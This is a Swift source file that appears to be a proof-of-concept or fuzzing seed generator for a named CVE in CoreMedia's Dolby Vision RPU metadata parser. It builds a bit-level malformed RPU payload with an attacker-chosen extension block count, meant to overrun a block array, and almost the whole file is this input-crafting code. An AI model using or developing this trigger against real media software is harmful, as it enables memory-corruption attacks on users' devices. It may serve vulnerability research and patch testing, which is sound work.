// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
// Dolby Vision RPU extension metadata block array overrun
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}


// ── seed construction (from Cinder27 Sources: RPUPayload) ──
enum RPUPayload {
struct BitWriter {
    private(set) var out: [UInt8] = []
    private var acc: UInt8 = 0
    private var nbits = 0

    mutating func put(_ value: UInt32, _ width: Int) {
        guard width > 0 else { return }
        for i in stride(from: width - 1, through: 0, by: -1) {
            acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
            nbits += 1
            if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
        }
    }

    mutating func putExpGolomb(_ value: UInt32) {
        let v = value + 1
        var bits = 0
        while (v >> UInt32(bits)) > 1 { bits += 1 }
        for _ in 0..<bits { put(0, 1) }
        put(v, bits + 1)
    }

    mutating func flush() -> [UInt8] {
        if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
        return out
    }
}

static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
        var bw = BitWriter()
        bw.put(0x19, 8)             // magic, byte 0
        bw.put(2, 6)                // rpu_type = 2 (DOVI)
        bw.put(0x12, 11)            // rpu_format
        bw.put(seed & 0x1F, 5)
        bw.put(1, 4)                // vdr_rpu_profile
        bw.put(0, 4)                // vdr_rpu_level
        bw.put(0, 1)                // vdr_seq_info_present_flag
        bw.put(1, 1)                // chroma_resampling_explicit_filter_flag
        bw.put(2, 2)                // coefficient_data_type
        bw.put(1, 1)                // el_spatial_resampling_filter_flag
        bw.put(0, 1)                // disable_residual_flag
        bw.put(0, 4)                // nln
        bw.put(1, 2)                // num_dm_data
        // DM data head: class-2 ext block loop
        bw.putExpGolomb(UInt32(blockCount))
        for i in 0..<blockCount {
            bw.putExpGolomb(0x40)                       // ext block length-ish
            bw.put(blockID, 8)                          // block_id
            // block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
            bw.put(UInt32(0x100 + i), 12)
            bw.put(UInt32(0x101 + i), 12)
            bw.put(UInt32(0x102 + i), 12)
            for _ in 0..<6 { bw.put(0x26, 8) }
            bw.put(0x25, 8)
            bw.put(0x59, 8)
            bw.put(0x13, 8)                             // unlocks the u16 tail
            bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
            bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
            bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
        }
        return Data(bw.flush())
    }

}